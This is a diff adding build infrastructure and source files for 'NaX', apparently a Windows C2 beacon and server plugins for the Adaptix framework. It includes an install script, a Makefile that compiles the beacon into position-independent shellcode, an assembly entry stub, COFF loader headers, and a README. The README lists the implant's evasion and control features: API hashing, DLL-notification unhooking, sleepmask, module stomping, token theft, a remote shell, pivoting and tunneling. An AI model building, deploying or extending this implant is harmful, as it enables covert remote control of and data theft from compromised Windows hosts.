+ +Required: + --server Path to Adaptix Server directory + (contains adaptixserver binary, extenders/, profile.yaml) + +Optional: + --action Action to perform (default: all) + +Actions: + all Check prereqs + build all plugins + deploy + register + plugins Build and deploy all 4 plugins (skip prereq check) + agent Build and deploy agent plugin only + listener-http Build and deploy HTTP listener only + listener-smb Build and deploy SMB listener only + service Build and deploy nax_store service only + prereqs Check build prerequisites only + +Examples: + $0 --server /opt/Server + $0 --server ../Server --action agent + $0 --server /opt/Server --action prereqs +EOF + [ "$ACTION" = "help" ] && exit 0 + exit 1 +fi + +## ========= [ validate server directory ] ========= + +if [ ! -d "$SERVER_DIR" ]; then + error_exit "Server directory does not exist: $SERVER_DIR" +fi + +if [ ! -f "$SERVER_DIR/adaptixserver" ] && [ ! -f "$SERVER_DIR/profile.yaml" ]; then + error_exit "Not an Adaptix Server directory (no adaptixserver or profile.yaml): $SERVER_DIR" +fi + +EXTENDERS_DIR="$SERVER_DIR/extenders" + +## ========= [ prerequisites check ] ========= + +check_prereqs() { + step_msg "Checking build prerequisites..." + local missing=() + + command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1 || missing+=("mingw-w64") + command -v x86_64-w64-mingw32-g++ >/dev/null 2>&1 || missing+=("mingw-w64-g++") + command -v nasm >/dev/null 2>&1 || missing+=("nasm") + command -v python3 >/dev/null 2>&1 || missing+=("python3") + command -v objcopy >/dev/null 2>&1 || missing+=("binutils (objcopy)") + command -v strings >/dev/null 2>&1 || missing+=("binutils (strings)") + + if [ -x /usr/local/go/bin/go ]; then + GO_BIN="/usr/local/go/bin/go" + elif command -v go >/dev/null 2>&1; then + GO_BIN="$(command -v go)" + else + missing+=("go") + fi + + if [ ${#missing[@]} -gt 0 ]; then + error_exit "Missing prerequisites: ${missing[*]}\n Install: sudo apt install mingw-w64 nasm binutils python3 golang-go" + fi + + info_msg "All prerequisites found" + info_msg " Go: $($GO_BIN version 2>/dev/null | head -1)" + info_msg " MinGW: $(x86_64-w64-mingw32-gcc --version 2>/dev/null | head -1)" + info_msg " NASM: $(nasm --version 2>/dev/null | head -1)" +} + +## ========= [ GOEXPERIMENT auto-detection ] ========= + +detect_goexperiment() { + local server_bin="$SERVER_DIR/adaptixserver" + if [ ! -f "$server_bin" ]; then + warning_msg "adaptixserver binary not found - using default GOEXPERIMENT" + GOEXPERIMENT="jsonv2,greenteagc" + return + fi + + local version_line + version_line=$(strings "$server_bin" 2>/dev/null | grep -m1 '^go[0-9].*X:') + + if [ -z "$version_line" ]; then + warning_msg "Could not detect GOEXPERIMENT from adaptixserver - using default" + GOEXPERIMENT="jsonv2,greenteagc" + return + fi + + GOEXPERIMENT="${version_line##*X:}" + info_msg "Detected GOEXPERIMENT=$GOEXPERIMENT (from $(basename "$server_bin"))" +} + +## ========= [ find Go binary ] ========= + +find_go() { + if [ -n "$GO_BIN" ]; then + return + fi + if [ -x /usr/local/go/bin/go ]; then + GO_BIN="/usr/local/go/bin/go" + elif command -v go >/dev/null 2>&1; then + GO_BIN="$(command -v go)" + else + error_exit "Go compiler not found. Install Go and re-run." + fi +} + +## ========= [ build + deploy functions ] ========= + +build_deploy_agent() { + local dest="$EXTENDERS_DIR/agent_nonameax" + mkdir -p "$dest" || error_exit "Failed to create $dest" + + step_msg "Building agent_nonameax plugin..." + make -C "$NAX_ROOT/src_server" agent \ + SERVER_DIR="$SERVER_DIR" \ + GOEXPERIMENT="$GOEXPERIMENT" \ + GO="$GO_BIN" \ + || error_exit "Failed to build agent plugin" + + echo "$NAX_ROOT" > "$dest/nax_root.conf" + cp -r "$NAX_ROOT/src_server/agent_nonameax/pe_templates" "$dest/pe_templates" 2>/dev/null || true + info_msg "Agent deployed to $dest" + info_msg " nax_root.conf -> $NAX_ROOT" +} + +build_deploy_listener_http() { + local dest="$EXTENDERS_DIR/listener_nonameax_http" + mkdir -p "$dest" || error_exit "Failed to create $dest" + + step_msg "Building listener_nonameax_http plugin..." + make -C "$NAX_ROOT/src_server" listener \ + SERVER_DIR="$SERVER_DIR" \ + GOEXPERIMENT="$GOEXPERIMENT" \ + GO="$GO_BIN" \ + || error_exit "Failed to build HTTP listener plugin" + + info_msg "HTTP listener deployed to $dest" +} + +build_deploy_listener_smb() { + local dest="$EXTENDERS_DIR/listener_nonameax_smb" + mkdir -p "$dest" || error_exit "Failed to create $dest" + + step_msg "Building listener_nonameax_smb plugin..." + make -C "$NAX_ROOT/src_server" listener-smb \ + SERVER_DIR="$SERVER_DIR" \ + GOEXPERIMENT="$GOEXPERIMENT" \ + GO="$GO_BIN" \ + || error_exit "Failed to build SMB listener plugin" + + info_msg "SMB listener deployed to $dest" +} + +build_deploy_service() { + local dest="$EXTENDERS_DIR/service_nax_store" + mkdir -p "$dest" || error_exit "Failed to create $dest" + + step_msg "Building nax_store service plugin..." + make -C "$NAX_ROOT/src_server" service \ + SERVER_DIR="$SERVER_DIR" \ + GOEXPERIMENT="$GOEXPERIMENT" \ + GO="$GO_BIN" \ + || error_exit "Failed to build service plugin" + + info_msg "Service deployed to $dest" +} + +build_deploy_all() { + build_deploy_agent + build_deploy_listener_http + build_deploy_listener_smb + build_deploy_service +} + +## ========= [ profile.yaml registration ] ========= + +add_to_profile() { + local yaml="$SERVER_DIR/profile.yaml" + if [ ! -f "$yaml" ]; then + warning_msg "profile.yaml not found - skipping auto-registration" + return + fi + + local entries=( + "extenders/agent_nonameax/config.yaml" + "extenders/listener_nonameax_http/config.yaml" + "extenders/listener_nonameax_smb/config.yaml" + "extenders/service_nax_store/config.yaml" + ) + local changed=false + + for entry in "${entries[@]}"; do + if ! grep -qF "$entry" "$yaml"; then + sed -i "/^ extenders:/a\\ - \"$entry\"" "$yaml" + info_msg "Registered $entry in profile.yaml" + changed=true + fi + done + + if [ "$changed" = false ]; then + info_msg "NaX extenders already registered in profile.yaml" + fi +} + +## ========= [ summary ] ========= + +print_summary() { + echo "" + info_msg "Done!" + echo "================================================================" + echo " Action: $ACTION" + echo " NaX Source: $NAX_ROOT" + echo " Server: $SERVER_DIR" + echo " GOEXPERIMENT: ${GOEXPERIMENT:-n/a}" + echo " Go: ${GO_BIN:-n/a}" + echo "" + echo " Deployed extenders:" + [ -f "$EXTENDERS_DIR/agent_nonameax/agent_nonameax.so" ] && echo " - agent_nonameax" + [ -f "$EXTENDERS_DIR/listener_nonameax_http/listener_nonameax_http.so" ] && echo " - listener_nonameax_http" + [ -f "$EXTENDERS_DIR/listener_nonameax_smb/listener_nonameax_smb.so" ] && echo " - listener_nonameax_smb" + [ -f "$EXTENDERS_DIR/service_nax_store/nax_store.so" ] && echo " - service_nax_store" + echo "" + echo " Restart adaptixserver to load the new extenders." + echo "================================================================" +} + +## ========= [ main dispatch ] ========= + +case $ACTION in + all) + check_prereqs + detect_goexperiment + step_msg "Full install: all 4 plugins" + build_deploy_all + add_to_profile + print_summary + ;; + plugins) + find_go + detect_goexperiment + step_msg "Building all 4 plugins (skipping prereq check)" + build_deploy_all + add_to_profile + print_summary + ;; + agent) + find_go + detect_goexperiment + build_deploy_agent + add_to_profile + print_summary + ;; + listener-http) + find_go + detect_goexperiment + build_deploy_listener_http + add_to_profile + print_summary + ;; + listener-smb) + find_go + detect_goexperiment + build_deploy_listener_smb + add_to_profile + print_summary + ;; + service) + find_go + detect_goexperiment + build_deploy_service + add_to_profile + print_summary + ;; + prereqs) + check_prereqs + detect_goexperiment + ;; + *) + error_exit "Unknown action: $ACTION\nRun $0 --help for usage." + ;; +esac diff --git a/src_beacon/Linker.ld b/src_beacon/Linker.ld new file mode 100644 index 0000000..d2f0d47 --- /dev/null +++ b/src_beacon/Linker.ld @@ -0,0 +1,40 @@ +/* beacon/Linker.ld + * Pack code and data into .text, unwind metadata into .pdata/.xdata. + * + * .text ordering (CRITICAL - do NOT reorder): + * .text$A - ASM entry stubs (Start, StartPtr) + * .text$B* - FUNC-annotated C code + ASM helpers (___chkstk_ms) + * .rdata* - compile-time string literals and GCC ident strings + * .data* - GCC-generated WCHAR initializer copies for local arrays + * .text$* - orphan functions: static helpers, GCC .constprop clones, + * and import library stubs that don't carry the FUNC macro. + * EXCLUDE_FILE keeps Entry.obj's .text$C out of this catch-all. + * .text - bare .text sections (import thunks from -lwinhttp etc.) + * .text$C - EndPtr marker (MUST be last - stomp tag lives right after it) + * + * .pdata / .xdata: + * Extracted separately for module-stomp unwind fixup. + * .pdata$func → RUNTIME_FUNCTION entries (12 bytes each, sorted by addr) + * .xdata$func → UNWIND_INFO + UNWIND_CODE data + */ +SECTIONS +{ + .text : + { + *(.text$A) + *(.text$B*) + *(.rdata*) + *(.data*) + *(EXCLUDE_FILE(*Entry.obj) .text$*) + *(.text) + *(.text$C) + } + .pdata ALIGN(4) : + { + *(.pdata*) + } + .xdata ALIGN(4) : + { + *(.xdata*) + } +} diff --git a/src_beacon/Makefile b/src_beacon/Makefile new file mode 100644 index 0000000..ec03646 --- /dev/null +++ b/src_beacon/Makefile @@ -0,0 +1,216 @@ +# beacon/Makefile - cross-compile PIC beacon → beacon/build/beacon.x64.bin +# +# Source layout: +# src/Main.c - thin heartbeat loop +# src/Core/{Bootstrap,Ldr,Config,Crypto,Packer}.c +# src/Transport/{Http,Smb}.c - HTTP (active) + SMB stub (Phase 7) +# src/Commands/{Dispatch,Whoami,Sleep}.c +# +# To build with SMB transport: make NAX_TRANSPORT_PROFILE=1 + +CC := x86_64-w64-mingw32-gcc +NASM := nasm +OBJCOPY := objcopy + +CFLAGS := -Os -nostdlib -fPIC -fvisibility=hidden \ + -ffunction-sections -fno-omit-frame-pointer \ + -falign-functions=1 -mno-sse -masm=intel \ + -fno-exceptions -fno-builtin \ + -fno-stack-check \ + -MMD -MP \ + -w \ + -Iinclude + +ifdef NAX_TRANSPORT_PROFILE +CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE) +endif + +NAX_EXEC_MODE ?= 1 + +# Library linking - SMB variant doesn't need winhttp or iphlpapi +ifeq ($(NAX_TRANSPORT_PROFILE),1) +LINK_LIBS := -lbcrypt +else +LINK_LIBS := -lwinhttp -lbcrypt -liphlpapi +endif + +# Transport-specific build directories - HTTP and SMB objects coexist +ifeq ($(NAX_TRANSPORT_PROFILE),1) +BUILD := build/smb +else +BUILD := build/http +endif +OUT_EXE := $(BUILD)/beacon.x64.exe +OUT_BIN := $(BUILD)/beacon.x64.bin + +ASM_OBJ := $(BUILD)/Entry.obj + +# VPATH: Make searches these directories for source files by flat name. +# Ensures Bootstrap.c is found in src/Core/, Http.c in src/Transport/, etc. +VPATH := src:src/Core:src/Transport:src/Commands:src/Bof + +# Core sources (both variants) +C_SRCS_CORE := Main.c \ + Bootstrap.c Ldr.c Config.c Crypto.c Packer.c Cfg.c Helpers.c \ + Dispatch.c Whoami.c Sleep.c Core.c Bof.c \ + Screenshot.c Download.c Downloader.c Upload.c MemSave.c Ps.c \ + Loader.c Jobs.c BofStomp.c Sleepmask.c DllNotify.c Shell.c \ + Token.c + +# Transport-specific sources +ifeq ($(NAX_TRANSPORT_PROFILE),1) +# SMB variant: pipe transport + pivot (for chained pivots) +C_SRCS_TRANSPORT := Smb.c Pivot.c Tunnel.c +else +# HTTP variant: full HTTP + profile + pivot parent-side +C_SRCS_TRANSPORT := Http.c HttpCodec.c Smb.c PackerProfile.c Profile.c Pivot.c Tunnel.c +endif + +C_SRCS_FLAT := $(C_SRCS_CORE) $(C_SRCS_TRANSPORT) + +C_OBJS := $(patsubst %.c,$(BUILD)/%.obj,$(C_SRCS_FLAT)) + +HDRS := $(wildcard include/*.h) +STRUCT_HDRS := $(filter-out include/Config.h include/Config_profile.h include/Config_sleepmask.h,$(HDRS)) + +.PHONY: all clean link debug-exe debug-pic debug debug-link + +all: $(OUT_BIN) + +$(BUILD): + mkdir -p $(BUILD) + +$(ASM_OBJ): asm/Entry.x64.asm | $(BUILD) + $(NASM) -f win64 $< -o $@ + +$(BUILD)/%.obj: %.c | $(BUILD) + $(CC) $(CFLAGS) -c $< -o $@ + +$(OUT_EXE): $(ASM_OBJ) $(C_OBJS) Linker.ld | $(BUILD) + $(CC) $(CFLAGS) -T Linker.ld \ + -Wl,--strip-all -Wl,--image-base,0x10000000 \ + $(ASM_OBJ) $(C_OBJS) -o $@ \ + $(LINK_LIBS) + +OUT_PDATA := $(BUILD)/beacon.pdata.bin +OUT_XDATA := $(BUILD)/beacon.xdata.bin +OUT_RVA := $(BUILD)/beacon.text_rva + +$(OUT_BIN): $(OUT_EXE) + $(OBJCOPY) --dump-section .text=$@ $< + $(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $< 2>/dev/null || true > $(OUT_PDATA) + $(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $< 2>/dev/null || true > $(OUT_XDATA) + @python3 scripts/pe_text_rva.py $< > $(OUT_RVA) + @touch $@ + @echo " BIN $@ ($$(wc -c < $@) bytes)" + @echo " PDATA $(OUT_PDATA) ($$(wc -c < $(OUT_PDATA)) bytes)" + @echo " XDATA $(OUT_XDATA) ($$(wc -c < $(OUT_XDATA)) bytes)" + @echo " TEXT_RVA $$(cat $(OUT_RVA))" + +# link: recompile Config.obj (picks up new Config.h), then re-link. +# If any header changed since the last full build, rebuild everything instead - +# stale objects with wrong struct offsets cause silent runtime corruption. +link: | $(BUILD) + @if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \ + [ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \ + [ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \ + echo " WARN sources changed - full rebuild required"; \ + $(MAKE) all; \ + else \ + $(CC) $(CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.obj; \ + $(CC) $(CFLAGS) -T Linker.ld \ + -Wl,--strip-all -Wl,--image-base,0x10000000 \ + $(ASM_OBJ) $(C_OBJS) -o $(OUT_EXE) \ + $(LINK_LIBS); \ + $(OBJCOPY) --dump-section .text=$(OUT_BIN) $(OUT_EXE); \ + $(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_PDATA); \ + $(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_XDATA); \ + python3 scripts/pe_text_rva.py $(OUT_EXE) > $(OUT_RVA); \ + echo " BIN $(OUT_BIN) ($$(wc -c < $(OUT_BIN)) bytes) [link-only]"; \ + fi + +clean: + rm -rf build + +# ========= [ debug builds ] ========= +# +# debug-exe: CRT-linked EXE whose main() calls NaxMain(). +# NaxDbgx output appears in DebugView / x64dbg "DbgPrint" log. +# NaxDbg output appears in console and x64dbg "printf" log. +# Run on Windows target; no loader needed. +# +# debug-pic: PIC shellcode extracted from .text + .rdata. +# Load via loader.x64.exe exactly like nax.x64.bin. + +DEBUG_CFLAGS := -g -O0 -DDEBUG \ + -mno-sse -masm=intel \ + -fno-exceptions \ + -fno-omit-frame-pointer \ + -w \ + -Iinclude + +ifdef NAX_TRANSPORT_PROFILE +DEBUG_CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE) +endif + +# debug: PIC shellcode with debug prints baked in - load via loader exactly like +# the release blob. -Os kept for size; -DDEBUG_PIC guards the CRT main() stub. +DEBUG_PIC_CFLAGS := $(DEBUG_CFLAGS) -Os -DDEBUG_PIC -fPIC -fvisibility=hidden -nostdlib \ + -ffunction-sections -falign-functions=1 \ + -fno-builtin -fno-stack-check -MMD -MP + +DEBUG_PIC_OBJS := $(patsubst %.c,$(BUILD)/%.dpic.obj,$(C_SRCS_FLAT)) +DEBUG_PIC_EXE := $(BUILD)/beacon.x64.debug.pic.exe +DEBUG_PIC_BIN := $(BUILD)/beacon.x64.debug.bin + +$(BUILD)/%.dpic.obj: %.c | $(BUILD) + $(CC) $(DEBUG_PIC_CFLAGS) -c $< -o $@ + +$(DEBUG_PIC_EXE): $(ASM_OBJ) $(DEBUG_PIC_OBJS) Linker.ld | $(BUILD) + $(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \ + -Wl,--image-base,0x10000000 \ + $(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $@ \ + $(LINK_LIBS) + +DEBUG_PIC_PDATA := $(BUILD)/beacon.debug.pdata.bin +DEBUG_PIC_XDATA := $(BUILD)/beacon.debug.xdata.bin +DEBUG_PIC_RVA := $(BUILD)/beacon.debug.text_rva + +$(DEBUG_PIC_BIN): $(DEBUG_PIC_EXE) + $(OBJCOPY) --dump-section .text=$@ $< + $(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $< 2>/dev/null || true > $(DEBUG_PIC_PDATA) + $(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $< 2>/dev/null || true > $(DEBUG_PIC_XDATA) + @python3 scripts/pe_text_rva.py $< > $(DEBUG_PIC_RVA) + @touch $@ + @echo " DEBUG $@ ($$(wc -c < $@) bytes)" + @echo " PDATA $(DEBUG_PIC_PDATA) ($$(wc -c < $(DEBUG_PIC_PDATA)) bytes)" + @echo " XDATA $(DEBUG_PIC_XDATA) ($$(wc -c < $(DEBUG_PIC_XDATA)) bytes)" + +debug: $(DEBUG_PIC_BIN) + +# debug-link: recompile Config.dpic.obj, then re-link debug build. +# Falls back to full debug rebuild if headers changed since last build. +debug-link: | $(BUILD) + @if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \ + [ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \ + [ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \ + echo " WARN sources changed - full debug rebuild required"; \ + $(MAKE) debug; \ + else \ + $(CC) $(DEBUG_PIC_CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.dpic.obj; \ + $(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \ + -Wl,--image-base,0x10000000 \ + $(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $(DEBUG_PIC_EXE) \ + $(LINK_LIBS); \ + $(OBJCOPY) --dump-section .text=$(DEBUG_PIC_BIN) $(DEBUG_PIC_EXE); \ + $(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_PDATA); \ + $(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_XDATA); \ + python3 scripts/pe_text_rva.py $(DEBUG_PIC_EXE) > $(DEBUG_PIC_RVA); \ + echo " DEBUG $(DEBUG_PIC_BIN) ($$(wc -c < $(DEBUG_PIC_BIN)) bytes) [link-only]"; \ + fi + +# gcc auto-dependency files (-MMD -MP) +C_DEPS := $(C_OBJS:.obj=.d) +DEBUG_PIC_DEPS := $(DEBUG_PIC_OBJS:.obj=.d) +-include $(C_DEPS) +-include $(DEBUG_PIC_DEPS) diff --git a/src_beacon/README.md b/src_beacon/README.md new file mode 100644 index 0000000..44f0b19 --- /dev/null +++ b/src_beacon/README.md @@ -0,0 +1,97 @@ +# NaX Beacon + +Position-independent C2 beacon compiled as a single `.text` section shellcode blob. No CRT, no imports, no global variables -- all APIs resolved at runtime via PEB walk using FNV1a-32 hashes. + +## How It Works + +1. **`NaxMain()`** (Entry point, called by the UDRL loader) + - `NaxBootstrap()` resolves ~80 APIs from ntdll, kernel32, advapi32, bcrypt, winhttp and allocates `NAX_INSTANCE` on the process heap + - Stores the instance pointer in `TEB->ArbitraryUserPointer` for recovery via `G_INSTANCE` macro + - Initializes BOF module stomping pool, sleepmask gate, and DLL notification unhooking + - Dispatches to `NaxHttpMain()` or `NaxSmbMain()` based on transport mode + +2. **Heartbeat loop** (`NaxHttpMain` / `NaxSmbMain`) + - Sends encrypted heartbeat, receives task batch + - Decodes tasks, calls `NaxDispatch()` for each + - Collects async results (downloads, jobs, pivots, tunnels, shells) and sends them back + - Sleeps with jitter between cycles + +3. **Command dispatch** (`NaxDispatch`) + - Maps command IDs (defined in `Wire.h`) to handler functions + - Each handler reads args from the wire buffer and writes results into the output buffer + - 26 built-in commands covering file I/O, process management, token ops, screenshots, BOFs, pivoting, and tunneling + +## PIC Constraints + +- No `.rdata` strings -- all string constants are `char[]` on the stack or `_WRITE` macros (per-byte MOVs) +- No global/static variables -- everything lives in heap-allocated `NAX_INSTANCE` +- No CRT functions -- `MmCopy`, `MmZero`, `MmSet` replace memcpy/memset +- Stack buffers must stay under ~1KB; larger allocations go through `RtlAllocateHeap` +- All cross-TU function references must be in the same compilation unit or resolved via the instance struct + +## Source Files + +``` +src/ + Main.c # NaxMain entry point, transport dispatch + Core/ + Bootstrap.c # API resolution, NAX_INSTANCE allocation, sysinfo gathering + Ldr.c # PEB walk (NaxGetModule), export walk (NaxGetProc), hashing, encoding + Config.c # Embedded profile parsing (NaxInitConfig), runtime profile apply + PackerProfile.c # Profile binary decoder + Crypto.c # AES-128-CBC encrypt/decrypt via BCrypt + Packer.c # Wire framing: encode/decode frames, build register/heartbeat/result + Cfg.c # Control Flow Guard: query status, whitelist targets + Helpers.c # Win32 error formatting, string helpers + Commands/ + Dispatch.c # Command ID → handler router + Core.c # cd, pwd, mkdir, rmdir, cat, ls, rm + Whoami.c # Current identity (domain\user) + Sleep.c # Set callback interval + jitter + Ps.c # Process list, kill, run + Screenshot.c # GDI desktop capture + Download.c # File download (chunked) + Downloader.c # Download state machine + Upload.c # File upload + MemSave.c # In-memory file storage for BOF payloads + Profile.c # Runtime C2 profile switch + Token.c # Token steal/impersonate/make/revert/privs + DllNotify.c # LdrDllNotification callback removal + Sleepmask.c # BeaconGate wrappers + NaxGateRegister swap table + Jobs.c # Async BOF job management + Shell.c # Interactive remote shell + Pivot.c # SMB pivot link/unlink, child data relay + Tunnel.c # SOCKS4/5, local/reverse port forwarding + BofStomp.c # BOF module stomping pool configuration + Transport/ + Http.c # WinHTTP transport (proxy-aware, persistent handles) + HttpCodec.c # Profile-driven encoding/decoding, header/URL builders + Smb.c # Named pipe transport for SMB pivoting + Bof/ + Loader.c # COFF loader: parse sections, relocate, resolve imports + Api.c # Beacon API (29 functions exposed to BOFs) + Stomp.c # BOF module stomping: image-backed .text, IFT .pdata injection +include/ + Instance.h # NAX_INSTANCE struct, API bundles, gate types + Wire.h # Command IDs, message types, wire constants + Config.h # Build-time profile/sleepmask embedding macros + Macros.h # FUNC, G_INSTANCE, MmCopy, MmZero, NaxDbg + Nax.h # Central forward declarations for all internal functions + Bof.h # COFF structures, BOF_STOMP_POOL, Beacon API typedefs + Gate.h # FUNCTION_CALL struct, GATE_API_* constants, SM_INFO + Transport.h # Transport function prototypes + WinApis.h # Function pointer typedefs for all resolved APIs + Helpers.h # Helper function prototypes + Common.h # Base types, compiler macros + Defs.h # Hash constants (H_MODULE_*, H_FUNC_*) + NaxConstants.h # Error codes, buffer sizes, feature flags +``` + +## Build + +The beacon is built as part of the top-level `make` from the repository root. It cross-compiles with `x86_64-w64-mingw32-gcc`, links with `-nostdlib`, and extracts raw `.text` via `objcopy` to produce `beacon.x64.bin`. + +```bash +make beacon # Beacon only +make debug # Debug build (enables NaxDbg output) +``` diff --git a/src_beacon/asm/Entry.x64.asm b/src_beacon/asm/Entry.x64.asm new file mode 100644 index 0000000..2ba0095 --- /dev/null +++ b/src_beacon/asm/Entry.x64.asm @@ -0,0 +1,85 @@ +; beacon/asm/Entry.x64.asm +; ASM entry point. Aligns stack, calls NaxMain, provides StartPtr/EndPtr +; so the loader can calculate the beacon's address and size. +; Follows the Kharon pattern (StartPtr/EndPtr) with DEFAULT REL from Stardust. + +[BITS 64] +DEFAULT REL + +EXTERN NaxMain + +GLOBAL StartPtr +GLOBAL EndPtr +GLOBAL ___chkstk_ms + +[SECTION .text$A] + ; ---- entry ---- + Start: + push rsi + mov rsi, rsp + and rsp, 0FFFFFFFFFFFFFFF0h + sub rsp, 020h + call NaxMain + mov rsp, rsi + pop rsi + ret + + ; StartPtr() returns the address of Start via call/ret trick. + ; Start body: + ; push(1) + mov(3) + and(4) + sub(4) + call(5) + mov(3) + pop(1) + ret(1) = 22 + ; call RetStartPtr: 5 bytes + ; ret: 1 byte <- [rsp] points here + ; Total from Start to [rsp]: 22 + 5 = 27 = 0x1b + StartPtr: + call RetStartPtr + ret + RetStartPtr: + mov rax, [rsp] + sub rax, 0x1b + ret + +; ========= [ stack probe - ___chkstk_ms ] ========= +; GCC emits mov rax, / call ___chkstk_ms / sub rsp, rax +; for any function whose frame exceeds 4 KB. Without the probe, sub rsp +; jumps over guard pages and faults on the first stack write beyond them. +; RAX = bytes to probe (preserved on return). RCX clobbered internally. +[SECTION .text$B] + +___chkstk_ms: + push rcx + push rax + cmp rax, 0x1000 + lea rcx, [rsp + 0x18] ; rcx = caller RSP before CALL + jb .chkstk_done +.chkstk_loop: + sub rcx, 0x1000 + or dword [rcx], 0 ; touch page - triggers guard-page commit + sub rax, 0x1000 + cmp rax, 0x1000 + ja .chkstk_loop +.chkstk_done: + sub rcx, rax + or dword [rcx], 0 + pop rax + pop rcx + ret + +[SECTION .text$C] + ; EndPtr() returns the address past itself - i.e., the end of the beacon blob. + ; Used by the loader to calculate beacon size: EndPtr() - StartPtr(). + ; After `call RetEndPtr`, [rsp] = address of the `ret` in EndPtr (section offset 0x05). + ; Section layout: + ; 0x00 call RetEndPtr (5 bytes) + ; 0x05 ret (1 byte) <- [rsp] lands here + ; 0x06 mov rax,[rsp] (4 bytes) + ; 0x0a add rax, 0x0a (4 bytes) + ; 0x0e ret (1 byte) + ; 0x0f <- one-past-end + ; [rsp] = 0x05; 0x05 + 0x0a = 0x0f = one-past-end of section. + EndPtr: + call RetEndPtr + ret + RetEndPtr: + mov rax, [rsp] + add rax, 0x0a + ret diff --git a/src_beacon/include/Bof.h b/src_beacon/include/Bof.h new file mode 100644 index 0000000..56c349f --- /dev/null +++ b/src_beacon/include/Bof.h @@ -0,0 +1,186 @@ +/* beacon/include/Bof.h + * COFF/BOF loader types - COFF structs, Beacon API interface, output type constants. + * Beacon API functions (BeaconOutput, BeaconDataParse, ...) are declared here and + * implemented in src/Bof/Api.c. The COFF loader lives in src/Bof/Loader.c. */ + +#pragma once +#include "Macros.h" +#include "Instance.h" + +/* ========= [ COFF / BOF constants ] ========= */ + +#define COF_MACHINE_AMD64 0x8664 +#define COF_MACHINE_I386 0x014C + +/* x64 relocation types */ +#define IMAGE_REL_AMD64_ADDR64 0x0001 +#define IMAGE_REL_AMD64_ADDR32NB 0x0003 +#define IMAGE_REL_AMD64_REL32 0x0004 +#define IMAGE_REL_AMD64_REL32_1 0x0005 +#define IMAGE_REL_AMD64_REL32_2 0x0006 +#define IMAGE_REL_AMD64_REL32_3 0x0007 +#define IMAGE_REL_AMD64_REL32_4 0x0008 +#define IMAGE_REL_AMD64_REL32_5 0x0009 + +/* x86 relocation types */ +#define IMAGE_REL_I386_DIR32 0x0006 +#define IMAGE_REL_I386_REL32 0x0014 + +/* COFF symbol class */ +#define IMAGE_SYM_CLASS_EXTERNAL 0x02 +#define IMAGE_SYM_CLASS_STATIC 0x03 + +/* BeaconOutput / BeaconPrintf callback types (Cobalt Strike convention) */ +#define CALLBACK_OUTPUT 0x00 +#define CALLBACK_OUTPUT_OEM 0x1E +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0D + +/* Adaptix-extension callback types (adaptix.h) */ +#define CALLBACK_AX_SCREENSHOT 0x81 +#define CALLBACK_AX_DOWNLOAD_MEM 0x82 + +/* BOF loader error codes written to BofCtx output on failure */ +#define BOF_ERROR_PARSE 0x101 /* malformed COFF */ +#define BOF_ERROR_SYMBOL 0x102 /* unresolved external symbol */ +#define BOF_ERROR_ENTRY 0x104 /* 'go' entry not found */ +#define BOF_ERROR_ALLOC 0x105 /* section allocation failed */ + +#define BOF_MAX_SECTIONS 16 /* hard cap on sections per BOF */ +#define BOF_OUTPUT_CAP 8192 /* heap output buffer capacity */ + +/* NtCurrentProcess() / NtCurrentThread() are provided by ntdll.h via Instance.h */ + +/* ========= [ COFF structures ] ========= */ + +#pragma pack(push, 1) + +typedef struct _COF_HEADER { + UINT16 Machine; + UINT16 NumberOfSections; + UINT32 TimeDateStamp; + UINT32 PointerToSymbolTable; + UINT32 NumberOfSymbols; + UINT16 SizeOfOptionalHeader; + UINT16 Characteristics; +} COF_HEADER, *PCOF_HEADER; + +typedef struct _COF_SECTION { + CHAR Name[8]; + UINT32 VirtualSize; + UINT32 VirtualAddress; + UINT32 SizeOfRawData; + UINT32 PointerToRawData; + UINT32 PointerToRelocations; + UINT32 PointerToLineNumbers; + UINT16 NumberOfRelocations; + UINT16 NumberOfLinenumbers; + UINT32 Characteristics; +} COF_SECTION, *PCOF_SECTION; + +typedef struct _COF_SYMBOL { + union { + CHAR cName[8]; + struct { UINT32 Short; UINT32 Long; } Name; + }; + UINT32 Value; + INT16 SectionNumber; + UINT16 Type; + BYTE StorageClass; + BYTE NumberOfAuxSymbols; +} COF_SYMBOL, *PCOF_SYMBOL; + +typedef struct _COF_RELOCATION { + UINT32 VirtualAddress; + UINT32 SymbolTableIndex; + UINT16 Type; +} COF_RELOCATION, *PCOF_RELOCATION; + +/* x64 runtime function entry (one per function in .pdata) */ +typedef struct _BOF_RUNTIME_FUNCTION { + UINT32 BeginAddress; + UINT32 EndAddress; + UINT32 UnwindInfoAddress; +} BOF_RUNTIME_FUNCTION; + +#pragma pack(pop) + +/* ========= [ Beacon API data structures ] ========= */ + +/* Standard BOF argument parser state - stack-allocated by the BOF's go() */ +typedef struct { + CHAR* original; + 